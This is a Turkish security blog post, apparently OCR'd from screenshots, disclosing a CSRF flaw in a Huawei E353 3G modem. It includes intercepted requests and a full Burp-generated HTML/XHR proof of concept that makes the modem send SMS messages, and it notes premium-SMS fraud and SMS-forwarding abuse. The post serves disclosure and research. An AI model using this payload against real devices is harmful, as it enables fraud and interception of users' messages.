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Gegtigimiz Haziran ayinin ortasina kadar 2.5 Kg agirliginda nur topu gibi bir
dizusti bilgisayara sahiptim. Bu nedenle sabahlari ise giderken, aksamlari
isten donerken veya bir cafede otururken biraz makale okumak istedigimde
agirligi ve buyuklugu nedeniyle onu yanimda tasiyamiyordum. Onun yerine sim
kart girisine sahip, hafif ve portatif Android tabletim yillardir isimi
goruyordu. Tablet kullandigaim icin, 2-3 yil once Turkcell’den data hatti
satin alirken yaninda verilen Huawei marka E353 model 3G USB modemi (Turkcell
VINN) cok kullanma firsatim olmamisti. Haziran ayindan sonra ise ultrabook
satin aldigim i¢in tabletimle yollarimi ayirarak 3G modemi aktif olarak
kullanmaya basladim.

3G USB modemler, yaninda dizustu bilgisayar tasiyan ve guvenlik kaygisi
nedeniyle glvenlilirliginden siphe ettigi kablosuz aglara baglanmak istemeyen
bilisimciler icin buylk bir nimettir. 3G USB modemin aslinda bilgisayarimiza
bagladigimiz, lUzerinde yodnetilebilir olmayan bir isletim sisteminin
calistigi, kapali bir kutu oldugunu ve onun da zafiyetleri olabilecegini cogu
zaman aklimizin ucuna getirmeyiz.

Modemi sikca kullanmaya basladiktan sonra bos bir zamanimda modeme hizlica
g6z atmaya ve canimi acitabilecek ilk zafiyeti tespit ettikten sonra gerisini
incelemek Uzere sizlere havale etmeye karar verdim.

3G modemi taktigimde karsima otomatik olarak acilan modem web arayizini
incelemeye basladim. Yaptigim ilk is sayfanin kaynak kodlarina ve oradan da
sayfa uUzerinde kullanilan JavaScript kodlarini incelemek oldu. JavaScript


https://www.mertsarica.com/huawei-e353-3g-modemde-csrf-zafiyeti/
http://www.turkcell.com.tr/yardim/vinn-3g-modem-e353
http://www.turkcell.com.tr/yardim/vinn-3g-modem-e353
https://www.mertsarica.com/evil-pi/

kodlarini inceledigimde, modeme ajax cagrilari ile cesitli komutlar
gonderilebildigini go6rdim.
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Ana sayfa statistikler™: sMS : Gincellemeler | Ayarlar

istatistikler
Tar Anlik kullanim Toplam kullanim
Indirilen Veri 7.2ZMB 924 GB
Ganderilen Veri 35295 KB 75545 MB
Toplarm Veri 155MB 997GB
Bajlant sdresi 00:57:36 100:38:45

Yukanda sadlanan veri istatistikleri yalnizca yaklagik dederlerdir, l0tfen kesin miktar igin agadidaki linkten data paketinizden kalan miktan
kontrol ediniz.

Data paketinizden kalan miktan égrenmek igin |itfen tiklayn ! Bilgilendirme size (cretsiz sms olarak iletilecelktir.
Turkcell Faturall VINM hattiniza data paketi aimak igin tiklayin |

Turkeell Faturasiz VINM hattiniza data paketi almak igin liklayin !
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sms_initPage();

else

showInfoDialog (common_failed):

else
{

var refreshStatus:

showWaitingDialog{common_waiting, “<span=" + sms_hint_sending+"</span>&nbsp;"+"1/" + g_sms_nun* (PhoneArray.length));
$(".wait_dialog_btn").show();

$("#sms_dialog™]. remove();

I
var submitData = objectZxml("request”. submitXmlObject):
savell] S (“ap1/sms/send-sms*. submitData.function($xml}{

i
function getSendSmsStatus(){
getAjaxData("api/sms/send-status”, function ($xnl}{
var ret = xml2object($xal);
ret = ret.response;
var sendTotalCount = ret.TotalCount;
var currentSendIndex = ret.Curlndex;
var currentSendPhone = ret.Phone:
var sendSuccessPhonas = ret.SucPhone;
var sendFailPhones = ret.FailPhone;
var statusContent = “<span>" + sms_hint_sending + "</span>&nbsp;* + currentSendIndex + "/ + sendTotalCount;

$(".wait_table_content .wait_str") html(statusContent);
if (currentSendPhone == ==){
$("#wait_table”).remove();
clearInterval(refreshStatus);
var successedArray = sendSuccessPhones.split(",");
var successedTotal = successedArray.length:
var failedArray = sendFailPhomes.split(®,");

ajaxdata | ~ | ¥ | Highlight All  Match Case 7 of 10 matches x

traffic.html sayfasinda yer alan “Data paketinizden kalan miktari 6grenmek
icin taklayin” kismina tikladigimda, data hattimindan 2222 numarali telefon
numarasina KALAN smsi gittigini g6rdim. Daha sonra bunun tam olarak nasil
gerceklestigini g6rmek icin trafigi Burp Suite PRO araci ile incelemeye karar

verdim.
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‘ Filter: Hiding CSS, image and general binary content | .l]
# | Host | Method _Lﬂl. EPsums | Edited | Status |Length |MIMEL... | Extension | Title | Commen
[ 120 http/f192.168.1.1 GET lapumonitonngtrafic-statistics | (=] 200 547 XML .T
132 http:192.168.1.1 GET lapi/monitoring/check-notifications ] L] 200 329 XML

136 hitp:/i192.168.1.1 POST  /api/smsisend-sms o O 200 213

142 http:192.168.1.1 GET Japimanitanng/status (] L 200 830 XML

143 hup/f92.168.1.1 GET Japi/monitoring/traffic.statistics ] =) 200 547 XML

144 hittp:/M92.168.1.1 GET lapiimenitaning/check-notifications ] o 200 329 XML

145  hup:192.168.1.1 GET /apisms/send-status (] =] 200 i XML

151 hitp:/192.168.1.1 GET fapi/maonitonng/status ] [ ] 830 XML

152 hitp:/1192.168.1.1 GET  /apmenitoring/iraffic-statistics @ O 200 550 HML

153 httpf192.168.1.1 GET Fapumonitonng/check-natifications (] (=} 200 329 XML

154 http:/M92.168.1.1 GET lapiimonitoning/status [} Ll 200 830 XML

155 hitp:/1192.168.1.1 GET  /apimonitoring/traffic-statistics (] a 200 543 XML

156 hitp:/192.168.1.1 GET  /apémonitoring/check-netifications ] o 200 329 XML

157 htp:/192.168.1.1 GET fapiimonitoring/status ] L 200 830 XML " r
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Request I Response i
Raw | Params Tﬂaaders ]Hex TXML ] |

POST /api/sms/send-sms HTTP/L.1 nl
Hosc: 192.168.1.1 r

User-Agent: Mozilla/5.0 (Vindows NT €.3; WOWE4: ©v:42.0) Gecko/20L00L0L Firefox/42.0
hecepr: */®

Aecept-Language: en-US,en:q=0.5

Accepr-Encoding: gzip, deflate

Contenc-Type: application/x-www-form-urlencoded; charsec=UTF-8

¥-Requested-With: XMLHttpRequest

Beferer: hoep://1S2.168.1.1/heml/cratfic.heml

Content-Length: 217

Connection: close

Pragma: no-cache 1
Cache-Control: no-cache

<?uml version="l.O"
encoding="UTF-8"?><request><Index>=-1</ Index><Phones><Phone»2222</Phone></Phones><Sca></Sca><Content>KALAN¢/ Content><Length> 5</Length> <Reserveds 1</ Reserveds <Dace>2016-01-07
18:27:24¢/Dates</ raqueses
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Dikkatimi ilk ceken nokta, yapilan isteklerde Cross-Site Request Forgery
(CSRF) saldirisina karsi herhangi bir onlemin alinmamis olmasiydxi.

Cross-Site Request Forgery (CSRF) saldirisini kisaca, kullanicinin haberi ve
bilgisi olmadan, internet tarayicisinin hedef alinan web uygulamasina dogru
isteklerde bulunmasini saglamaktir.

Ornegin kullanici hacklenmis bir X haber sitesini ziyaret ediyor ve bu site
tuzerinden saldirgan, kullanicinin modeminin DNS degistirme sayfasina (ornek:
192.168.1.1/dns.php) kullanicisinin haberi ve bilgisi olmadan DNS adresini
1.2.3.4 olarak guncelle seklinde istek (HTTP POST) g6nderiyor. Bu sayede
artik kullanicinin tdm DNS istekleri, art niyetli kisinin DNS sunucusu
uzerinden gerceklesiyor ve kullanici gitmek istedigi web sitesi yerine art
niyetli kisinin web sitesine yonlendirilebiliyor.


https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.jakoblell.com/blog/2013/10/30/real-world-csrf-attack-hijacks-dns-server-configuration-of-tp-link-routers-2/

Bu CSRF zafiyeti, istismar eden art niyetli kisiler ve dolandiricilar
tarafindan nasil kotuye kullanilir diye disindigimde aklima ilk gelen, 3G
modeme art niyetli kisilerin kontrold olan bir web sitesi Uzerinden premium
SMS servislere SMS gonderilmesi saglanarak haksiz kazanc¢ saglanabilecegi
geldi. Bunun disinda diyelim ki ayri bir data hattiniz yok ve mevcut sim
kartinizi 3G modeminiz ile kullaniyorsunuz. Bu durumda art niyetli kisiler,
sms yonlendirme servisi ile size gonderilen smsleri baska bir telefon
numarasina yonlendirebilirler. Bu senaryolari c¢ogaltmak mimkin oldugu igin
hizlica, pratikte bunu koétiye kullanmak ne kadar kolay diye kendi cep
telefonuma CSRF ile web sitesi lUzerinden SMS atarak kontrol etmek istedim.

Burp Suite PRO ile gelen Generate CSRF PoC 6zelligi ile herhangi bir istegi
cok kolay bir sekilde CSRF zafiyetini istismar eden bir web forma asagidaki
gibi dénlstirebilirsiniz. Bu sekilde bir form olusturup bunu web siteme
(https://www.mertsarica.com/csrf.html) yukledim.


http://www.turkcell.com.tr/servisler/smsyonlendirme#nedir
https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

Request to: hitp.//192.168.1.1 [ options |

Headers | Hex | XML

POST /api/sws/send-sms HTTF/L.1 CSRF technique:
Host: 192.1e8.1.1
User—Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:42.0) Gecko/2Z0100101 Firefox/42.0 O Auto-select based on request features
Looept: F/F () URL-encoded form
Accept-Lancuages: =n-U3,en;q=0.5 -
Aocept-Encoding: gzip, deflate () Muhpaﬁﬁnm
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 () Plain text form
H-Requested-With: XMLHttpRecuest
Referer: hrtp://192.168.L1.1/heml/tratfic. html ® Cross-domain XHR (modem browsers only)
Content-Length: 217
Connection: close M Include auto-submit script
Pragmwa: no-caches
Cache-Control: no-cache

<?xml version="1.0"

encoding="UTF-8"?><recuest><Index>-1</ Index><Phones><Phone>05 </Phone>»</Phones><Sca></Sca><Content>Test</Content><Length>5</
Length><Reservedsl</Reserveds><Date>2016-01-07 18:27:24</Date></request>

Type a search term

CSRF HTML:

<html>
<!-- C5RF PoC - generated by Burp Suite Professiomal -->
<body>
<scripts>
function submitRequest()
{
var xhr = new ¥XMLHttpReguest();
shr.open( "POST", "http:/f192.168.1.1/api/smsfsend-sms", true):
xhr.setRequestHeader( "Accept" , "&f&")
whr . setRequestHeader( "Accept-Langunage" , "en-US,en:g=0.5") ;
xhr.setRegquestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
¥hr .withCredentials = true:
var body = "\x3c?xml version=\"1.0\" E
encoding=\"UTF-8\"?\x3e\x3crequest\x3e\x3cIndex\x3e-1\x3c/Index\x3e\x3cPhones\x3e\x3cPhone\x3e05  \x3c/Phone\x3e\x3c/Phones
\x3e\x3cSca\x3e\x3cfSca\x3e\xIcContent\x3eTest\x3c/Content \x3e\x3cLength\x3e5\x3c/Length\x3e\x3cReserved\x3el\x3c/Reserved\x3e\x3c
Date\x3e2016-01-07 18:27:24\x3c/Date\x3e\x3c/request\x3e" ;
var aBody = new UintB8Array(body.length) :
for (var i = 0; i < aBody.length; it++)
aBody[i] = body.charCodelAt(i) :
xhr.send(new Blob( [aBody])) ;
}
submitRegquest() ;
</script>
<form action="#">
<input type="button" wvalue="Submit request"” onclick="submitBRecusst();:" />
</ forms>
</body>
</html>

Type a search term

Waming: The XmiHtipRequest technique only works on modem browsers, and the browser will nof display the response fo the CSRF request. The request confains some non-standard
headers which, if included in a cross-domain XHR, may cause the request to be pre-flighted, and so the attack may fail. These headers have been omitted in the PoC attack, fo avoid
pre-flighting. If the omitted headers are essential for the efficacy of the CSRF atfack, you can manually add these fo the PoC HTML.

Regenerate | Test in browser | | Copy HTML | | Close |
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<htnil>
<!-- CSRF PoC - generated by Burp Suite Professional -
<body>
<script>
function submitRequest()
o

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://182.168.1.1/api/sms/send-sms", true);
xhr.setRequestHeader ("Accept”, "*/+");
xhr.setRequestHeader (" Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader (" Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "\x3c?xml version=\"1.0%" encoding=\"UTF-8\" ?\x3e\x3crequestix3e\x3cIndex\x3e-1\x3c/Index \x3e \x3cPhones\x3e\x3cPhone\x3e05. !
var aBody = new Uint8Array (body.length);
for (var 1 = 0; 1 < aBody.length; i++)
aBody[1] = body.charCodeAt(1);
xhr.send (new Blob([aBody]));

¥
submitRequest();

</script>

<form action:
<input type="button" value="Submit request” onclick="submitRequest();" /=

=/form=>

</body>
</html>

Daha sonra bu adresi 3G modem ile internet baglandigim bilgisayarimdan

cagirdigimda ise cep telefonuma SMS geldi ve oyun bitmis oldu :)
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[ Target [ Proxy [ Spider | Scanner [ intruder | Repeater | Sequencer [ Decoder | Comparer | Extender | options [ Alerts |
i Intercept I HTTP history | WebSockets hwslaryﬁ Options ]

Filter: Hiding €55, image and general binary content

Host Method | URL Params | Edited Status | Length | MIME type | Extension | Title Comment SsL | IP Cookies
TopTITE T r T CETT UGG AT Ta Y AT = o zow T T S . < o rrIuuTa

http://192.168.1.1 GET fapifmenitoring/converged-status (8] o 200 316 XML a 192.168.1.1

http://192.168.1.1 GET flanguage/lang_tr_tr js m] o 200 19564  seript is O 19216811

http://192.168.1.1 GET fapifmonitoring/status (] @] 200 831 XML O 15216811

http://192.168.1.1 GET Jfapifmonitoring/traffic-statistics o o 200 547 XML O 19216811

hitp://192.168.1.1 GET Japifmonitaring/check-notifications o o 200 330 XML O 19216811

http://192.168.1.1 GET fapifmonitoring/status 0] L 200 831 XML L 1%2168.1.1

http://192.168.1.1 GET fapifmenitoring/traffic-statistics (=] ] 200 547 XML 0 1%2168.11

hitp://192.168.1.1 GET Japifmonitaring/check-notifications o o 200 330 XML O 19216811

http://192.168.1.1 GET Japifmenitoring/status o 8] 200 831 XML O 1%2168.11

http://192.168.1.1 GET Japiimenitoring/traffic-statistics =) () 200 547 XML (3} 192.168.1.1

hittp://192,168.1.1 GET Japifmenitoring/check-notifications B 0 200 330 XML O 19216811

http://www mertsarica.com  GET Jesrf.html u [®] 200 1506 HTML html 8 178.18.195.170

hittp://192.168.1.1 POST  /fapi/fsms/send-sms @ O =200 213 HML [ 192168.1.1 v
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Beausstil Respanse 1
Raw | Params | Headers | Hex [ L |

POST /api/sns/send-sms HTTP/1.1
Host: 192.168.1.1

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: #/8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://www.mertsarica.com/csrf. html

Content -Length: 223

origin: http://wew.mertsarica.com

Connection: close

Pragma: no-cache

Cache-Control: no-cache

e

<?xml version="1.0"
enceding="UTF-8" P>=request ><Index>-1</Index>=Phones><Phone>0% i=/Phone></Phones==Sca=</Sca><Cont ent >Test </Cont ent ><Length=5
18:27: 24</Date></request>

/Length=<Reserved>1</Reserved><Date>2016-01-07

-
v

2 =) |k i) | Type a search tern 0 matches
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Bu zafiyete karsi ne yapabilirim diye soracak olursaniz, Turkcell ve/veya
Huawei ile iletisime gecip bu zafiyeti ortadan kaldiran bir yama var mi diye
sorabilir, varsa ylkleyebilir veya bu modemi cope atip farkli bir modem ile
yolunuza devam edebilirsiniz.

Unutmayin, nasil kullanmis oldugumuz isletim sistemimizin givenlik
yamalarinin glincel olmasina givenligimiz i¢in 6nem veriyorsak, ayni sekilde
kullanmis oldugumuz aygitlarin, cihazlarin da donanim yazilimlarinin,



yamalarinin glincel olduguna 6énem vermeliyiz.

Bir sonraki yazida goOrismek dilegiyle herkese giuvenli gunler dilerim.



